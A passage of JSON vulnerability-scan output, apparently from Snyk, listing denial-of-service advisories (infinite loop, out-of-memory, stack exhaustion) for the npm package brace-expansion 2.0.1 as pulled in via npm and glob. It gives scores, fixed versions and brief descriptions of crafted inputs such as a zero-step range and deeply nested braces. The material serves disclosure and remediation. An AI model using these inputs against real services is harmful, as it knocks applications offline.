"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.9.0",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.9.0",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.9.0",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.9.0",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.9.0",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.9.0",
"@npmcli/arborist@8.0.5",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
